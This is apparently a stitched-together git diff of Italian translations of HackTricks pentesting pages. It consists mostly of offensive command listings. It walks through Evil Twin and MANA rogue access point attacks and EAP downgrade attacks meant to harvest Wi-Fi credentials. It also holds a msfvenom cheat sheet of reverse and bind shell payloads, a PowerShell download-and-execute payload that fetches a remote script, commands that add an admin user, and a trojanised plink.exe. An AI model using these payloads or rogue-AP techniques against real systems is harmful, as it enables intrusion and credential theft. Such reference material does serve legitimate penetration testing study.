Indipendentemente dal protocollo scelto, il server PEAP/TTLS ottiene conoscenza della vera identità dell'utente dopo che il tunnel TLS è stato stabilito. La vera identità può essere rappresentata come user@realm o semplicemente user. Se il server PEAP/TTLS è anche responsabile dell'autenticazione dell'utente, ora possiede l'identità dell'utente e procede con il metodo di autenticazione protetto dal tunnel TLS. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al server RADIUS domestico dell'utente. Questa nuova richiesta RADIUS omette il livello del protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetto sia EAP, i messaggi EAP interni vengono trasmessi al server RADIUS domestico senza l'involucro EAP-PEAP o EAP-TTLS. L'attributo User-Name del messaggio RADIUS in uscita contiene la vera identità dell'utente, sostituendo l'User-Name anonimo della richiesta RADIUS in arrivo. Quando il metodo di autenticazione protetto è PAP o CHAP (supportato solo da TTLS), l'attributo User-Name e altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, sostituendo l'User-Name anonimo e gli attributi TTLS EAP-Message trovati nella richiesta RADIUS in arrivo.
|
||||||
|
|
||||||
Per ulteriori informazioni controlla [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
|
Per ulteriori informazioni controlla [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
|
||||||
|
|
||||||
|
@ -454,24 +454,24 @@ Puoi anche eseguire questo attacco utilizzando `eaphammer`:
|
||||||
|
|
||||||
### Elenchi di reti preferite (PNL)
|
### Elenchi di reti preferite (PNL)
|
||||||
|
|
||||||
* Le stazioni memorizzano l'ESSID di ogni rete wireless a cui si connettono nella loro Preferred Network List (PNL), insieme ai dettagli di configurazione specifici della rete.
|
* Le stazioni memorizzano l'ESSID di ogni rete wireless a cui si connettono nel loro Elenco di Reti Preferite (PNL), insieme ai dettagli di configurazione specifici della rete.
|
||||||
* La PNL viene utilizzata per connettersi automaticamente a reti conosciute, migliorando l'esperienza dell'utente semplificando il processo di connessione.
|
* Il PNL viene utilizzato per connettersi automaticamente a reti conosciute, migliorando l'esperienza dell'utente semplificando il processo di connessione.
|
||||||
|
|
||||||
### Scansione passiva
|
### Scansione passiva
|
||||||
|
|
||||||
* Gli AP trasmettono periodicamente frame beacon, annunciando la loro presenza e caratteristiche, incluso l'ESSID dell'AP a meno che la trasmissione non sia disabilitata.
|
* Gli AP trasmettono periodicamente frame beacon, annunciando la loro presenza e caratteristiche, incluso l'ESSID dell'AP a meno che la trasmissione non sia disabilitata.
|
||||||
* Durante la scansione passiva, le stazioni ascoltano i frame beacon. Se l'ESSID di un beacon corrisponde a un'entrata nella PNL della stazione, la stazione può connettersi automaticamente a quell'AP.
|
* Durante la scansione passiva, le stazioni ascoltano i frame beacon. Se l'ESSID di un beacon corrisponde a un'entrata nel PNL della stazione, la stazione può connettersi automaticamente a quell'AP.
|
||||||
* La conoscenza della PNL di un dispositivo consente potenziali sfruttamenti mimando l'ESSID di una rete conosciuta, ingannando il dispositivo a connettersi a un AP malevolo.
|
* La conoscenza del PNL di un dispositivo consente potenziali sfruttamenti mimando l'ESSID di una rete conosciuta, ingannando il dispositivo a connettersi a un AP malevolo.
|
||||||
|
|
||||||
### Probing attivo
|
### Probing attivo
|
||||||
|
|
||||||
* Il probing attivo implica che le stazioni inviino richieste di probing per scoprire AP vicini e le loro caratteristiche.
|
* Il probing attivo implica che le stazioni inviino richieste di probing per scoprire AP vicini e le loro caratteristiche.
|
||||||
* Le richieste di probing dirette mirano a un ESSID specifico, aiutando a rilevare se una rete particolare è entro portata, anche se è una rete nascosta.
|
* Le richieste di probing dirette mirano a un ESSID specifico, aiutando a rilevare se una rete particolare è entro portata, anche se è una rete nascosta.
|
||||||
* Le richieste di probing broadcast hanno un campo SSID nullo e vengono inviate a tutti gli AP vicini, consentendo alla stazione di controllare eventuali reti preferite senza rivelare i contenuti della sua PNL.
|
* Le richieste di probing broadcast hanno un campo SSID nullo e vengono inviate a tutti gli AP vicini, consentendo alla stazione di controllare eventuali reti preferite senza rivelare i contenuti del suo PNL.
|
||||||
|
|
||||||
## AP semplice con reindirizzamento a Internet
|
## AP semplice con reindirizzamento a Internet
|
||||||
|
|
||||||
Prima di spiegare come eseguire attacchi più complessi, verrà spiegato **come** semplicemente **creare** un **AP** e **reindirizzare** il suo **traffico** a un'interfaccia connessa **a** Internet.
|
Prima di spiegare come eseguire attacchi più complessi, verrà spiegato **come** semplicemente **creare** un **AP** e **reindirizzare** il suo **traffico** a un'interfaccia connessa **a** **Internet**.
|
||||||
|
|
||||||
Utilizzando `ifconfig -a`, controlla che l'interfaccia wlan per creare l'AP e l'interfaccia connessa a Internet siano presenti.
|
Utilizzando `ifconfig -a`, controlla che l'interfaccia wlan per creare l'AP e l'interfaccia connessa a Internet siano presenti.
|
||||||
|
|
||||||
|
@ -551,11 +551,11 @@ Puoi anche creare un Evil Twin utilizzando **eaphammer** (nota che per creare ev
|
||||||
```bash
|
```bash
|
||||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||||
```
|
```
|
||||||
Or usando Airgeddon: `Options: 5,6,7,8,9 (dentro del menu di attacco Evil Twin).`
|
Oppure usando Airgeddon: `Options: 5,6,7,8,9 (dentro il menu attacco Evil Twin).`
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (1088).png>)
|
![](<../../.gitbook/assets/image (1088).png>)
|
||||||
|
|
||||||
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS l'AP reale e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure potresti DoS l'AP reale e usare un WPA Evil Twin per catturare il handshake (utilizzando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare l'handshake e provare a decifrarlo).
|
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS l'AP reale e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure potresti DoS l'AP reale e usare un WPA Evil Twin per catturare il handshake (usando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare l'handshake e provare a decifrarlo).
|
||||||
|
|
||||||
_Alcuni OS e AV avviseranno l'utente che connettersi a una rete aperta è pericoloso..._
|
_Alcuni OS e AV avviseranno l'utente che connettersi a una rete aperta è pericoloso..._
|
||||||
|
|
||||||
|
@ -571,7 +571,7 @@ Per comprendere questi attacchi, ti consiglio di leggere prima il breve [WPA Ent
|
||||||
|
|
||||||
**Using hostapd-wpe**
|
**Using hostapd-wpe**
|
||||||
|
|
||||||
`hostapd-wpe` ha bisogno di un **file di configurazione** per funzionare. Per **automatizzare** la generazione di queste configurazioni, puoi utilizzare [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (scarica il file python all'interno di _/etc/hostapd-wpe/_)
|
`hostapd-wpe` ha bisogno di un **file di configurazione** per funzionare. Per **automatizzare** la generazione di queste configurazioni, puoi utilizzare [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (scarica il file python all'interno di _/etc/hostapd-wpe/_).
|
||||||
```bash
|
```bash
|
||||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||||
hostapd-wpe ./victim/victim.conf -s
|
hostapd-wpe ./victim/victim.conf -s
|
||||||
|
@ -592,14 +592,14 @@ Per impostazione predefinita, EAPHammer propone questi metodi di autenticazione
|
||||||
```
|
```
|
||||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||||
```
|
```
|
||||||
Questa è la metodologia predefinita per evitare tempi di connessione lunghi. Tuttavia, puoi anche specificare di servire i metodi di autenticazione dal più debole al più forte:
|
Questa è la metodologia predefinita per evitare tempi di connessione lunghi. Tuttavia, puoi anche specificare al server i metodi di autenticazione dal più debole al più forte:
|
||||||
```
|
```
|
||||||
--negotiate weakest
|
--negotiate weakest
|
||||||
```
|
```
|
||||||
Or you could also use:
|
Or you could also use:
|
||||||
|
|
||||||
* `--negotiate gtc-downgrade` per utilizzare un'implementazione di downgrade GTC altamente efficiente (password in chiaro)
|
* `--negotiate gtc-downgrade` per utilizzare un'implementazione di downgrade GTC altamente efficiente (password in chiaro)
|
||||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` per specificare manualmente i metodi offerti (offrire gli stessi metodi di autenticazione nello stesso ordine rende l'attacco molto più difficile da rilevare).
|
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` per specificare manualmente i metodi offerti (offrire gli stessi metodi di autenticazione nello stesso ordine dell'organizzazione renderà l'attacco molto più difficile da rilevare).
|
||||||
* [Trova ulteriori informazioni nel wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
* [Trova ulteriori informazioni nel wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||||
|
|
||||||
**Utilizzando Airgeddon**
|
**Utilizzando Airgeddon**
|
||||||
|
@ -609,7 +609,7 @@ Or you could also use:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (936).png>)
|
![](<../../.gitbook/assets/image (936).png>)
|
||||||
|
|
||||||
### Debugging dei tunnel TLS PEAP e EAP-TTLS negli attacchi Evil Twin
|
### Debugging dei tunnel TLS PEAP e EAP-TTLS negli attacchi Evil Twins
|
||||||
|
|
||||||
_Questo metodo è stato testato in una connessione PEAP, ma poiché sto decrittografando un tunnel TLS arbitrario, dovrebbe funzionare anche con EAP-TTLS_
|
_Questo metodo è stato testato in una connessione PEAP, ma poiché sto decrittografando un tunnel TLS arbitrario, dovrebbe funzionare anche con EAP-TTLS_
|
||||||
|
|
||||||
|
@ -632,7 +632,7 @@ E guarda la nuova **scheda "TLS decrittografato"**:
|
||||||
|
|
||||||
### Liste nere/rosse di ESSID e MAC
|
### Liste nere/rosse di ESSID e MAC
|
||||||
|
|
||||||
Diversi tipi di Liste di Filtri di Controllo degli Accessi ai Media (MFACL) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) fraudolento:
|
Diversi tipi di Liste di Filtri di Controllo Accesso ai Media (MFACL) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) fraudolento:
|
||||||
|
|
||||||
1. **Whitelist basata su MAC**:
|
1. **Whitelist basata su MAC**:
|
||||||
* L'AP fraudolento risponderà solo alle richieste di probe da dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.
|
* L'AP fraudolento risponderà solo alle richieste di probe da dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.
|
||||||
|
@ -675,7 +675,7 @@ L'attacco MANA opera monitorando sia le richieste di probe dirette che quelle br
|
||||||
```
|
```
|
||||||
### Loud MANA
|
### Loud MANA
|
||||||
|
|
||||||
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area probabilmente condividono alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte di probing per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
|
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area sono probabilmente inclini a condividere alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte di probing per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
|
||||||
```bash
|
```bash
|
||||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||||
```
|
```
|
||||||
|
@ -689,7 +689,7 @@ Eaphammer ha implementato questo attacco come un attacco MANA dove tutti gli ESS
|
||||||
```
|
```
|
||||||
**Known Beacon Burst attack**
|
**Known Beacon Burst attack**
|
||||||
|
|
||||||
L'**attacco Known Beacon Burst** comporta **la trasmissione rapida di frame beacon per ogni ESSID elencato in un file**. Questo crea un ambiente denso di reti false, aumentando notevolmente la probabilità che i dispositivi si connettano all'AP malevolo, specialmente quando combinato con un attacco MANA. Questa tecnica sfrutta la velocità e il volume per sopraffare i meccanismi di selezione della rete dei dispositivi.
|
L'**attacco Known Beacon Burst** comporta **la trasmissione rapida di frame beacon per ogni ESSID elencato in un file**. Questo crea un ambiente denso di reti false, aumentando notevolmente la probabilità che i dispositivi si connettano all'AP malevolo, specialmente se combinato con un attacco MANA. Questa tecnica sfrutta la velocità e il volume per sopraffare i meccanismi di selezione della rete dei dispositivi.
|
||||||
```bash
|
```bash
|
||||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||||
./forge-beacons -i wlan1 \
|
./forge-beacons -i wlan1 \
|
||||||
|
@ -700,19 +700,19 @@ L'**attacco Known Beacon Burst** comporta **la trasmissione rapida di frame beac
|
||||||
```
|
```
|
||||||
## Wi-Fi Direct
|
## Wi-Fi Direct
|
||||||
|
|
||||||
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando il Wi-Fi senza la necessità di un tradizionale punto di accesso wireless. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra i dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
|
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando il Wi-Fi senza la necessità di un tradizionale punto di accesso wireless. Questa capacità è integrata in vari dispositivi dell'Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra i dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
|
||||||
|
|
||||||
La sicurezza per le connessioni Wi-Fi Direct è stabilita attraverso **Wi-Fi Protected Setup (WPS)**, che supporta diversi metodi per il pairing sicuro, tra cui:
|
La sicurezza per le connessioni Wi-Fi Direct è stabilita attraverso **Wi-Fi Protected Setup (WPS)**, che supporta diversi metodi per il pairing sicuro, tra cui:
|
||||||
|
|
||||||
* **Push-Button Configuration (PBC)**
|
* **Push-Button Configuration (PBC)**
|
||||||
* **Inserimento del PIN**
|
* **PIN entry**
|
||||||
* **Near-Field Communication (NFC)**
|
* **Near-Field Communication (NFC)**
|
||||||
|
|
||||||
Questi metodi, in particolare l'inserimento del PIN, sono suscettibili alle stesse vulnerabilità del WPS nelle reti Wi-Fi tradizionali, rendendoli obiettivi per vettori di attacco simili.
|
Questi metodi, in particolare l'inserimento del PIN, sono suscettibili alle stesse vulnerabilità del WPS nelle reti Wi-Fi tradizionali, rendendoli obiettivi per vettori di attacco simili.
|
||||||
|
|
||||||
### EvilDirect Hijacking
|
### EvilDirect Hijacking
|
||||||
|
|
||||||
**EvilDirect Hijacking** è un attacco specifico per Wi-Fi Direct. Rispecchia il concetto di un attacco Evil Twin ma si concentra sulle connessioni Wi-Fi Direct. In questo scenario, un attaccante impersona un legittimo proprietario del gruppo con l'obiettivo di ingannare i dispositivi a connettersi a un'entità malevola. Questo metodo può essere eseguito utilizzando strumenti come `airbase-ng` specificando il canale, l'ESSID e l'indirizzo MAC del dispositivo impersonato:
|
**EvilDirect Hijacking** è un attacco specifico per Wi-Fi Direct. Rispecchia il concetto di un attacco Evil Twin ma mira alle connessioni Wi-Fi Direct. In questo scenario, un attaccante impersona un legittimo proprietario del gruppo con l'obiettivo di ingannare i dispositivi a connettersi a un'entità malevola. Questo metodo può essere eseguito utilizzando strumenti come `airbase-ng` specificando il canale, l'ESSID e l'indirizzo MAC del dispositivo impersonato:
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
@ -729,7 +729,7 @@ Questi metodi, in particolare l'inserimento del PIN, sono suscettibili alle stes
|
||||||
|
|
||||||
TODO: Dai un'occhiata a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitazione di WPA in captive portals)
|
TODO: Dai un'occhiata a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitazione di WPA in captive portals)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -745,8 +745,8 @@ Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -67,12 +67,16 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
|
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
### Crea Utente
|
### Crea Utente
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
### CMD Shell
|
### CMD Shell
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
@ -86,18 +90,20 @@ msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ex
|
||||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
|
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
|
||||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
|
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
|
||||||
```
|
```
|
||||||
### Encoder
|
### Codificatore
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
|
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
### Incorporato all'interno dell'eseguibile
|
### Incorporato all'interno dell'eseguibile
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
|
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
## Payload Linux
|
## Payload Linux
|
||||||
|
|
||||||
### Reverse Shell
|
### Reverse Shell
|
||||||
|
@ -123,19 +129,15 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
## **Payload MAC**
|
## **Payload per MAC**
|
||||||
|
|
||||||
### **Shell Inversa:**
|
### **Reverse Shell:**
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
|
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
### **Bind Shell**
|
### **Bind Shell**
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
|
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
|
||||||
```
|
```
|
||||||
|
@ -163,8 +165,6 @@ cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> s
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
### JSP
|
### JSP
|
||||||
|
|
||||||
#### Reverse shell
|
#### Reverse shell
|
||||||
|
@ -177,7 +177,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f r
|
||||||
|
|
||||||
### GUERRA
|
### GUERRA
|
||||||
|
|
||||||
#### Reverse Shell
|
#### Shell Inversa
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -197,11 +197,7 @@ msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
|
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
### **Python**
|
### **Python**
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
||||||
```
|
```
|
||||||
|
@ -211,7 +207,7 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
|
|
@ -10,12 +10,12 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali della piattaforma
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -39,15 +39,15 @@ Rimani informato sui nuovi bug bounty in partenza e aggiornamenti cruciali delle
|
||||||
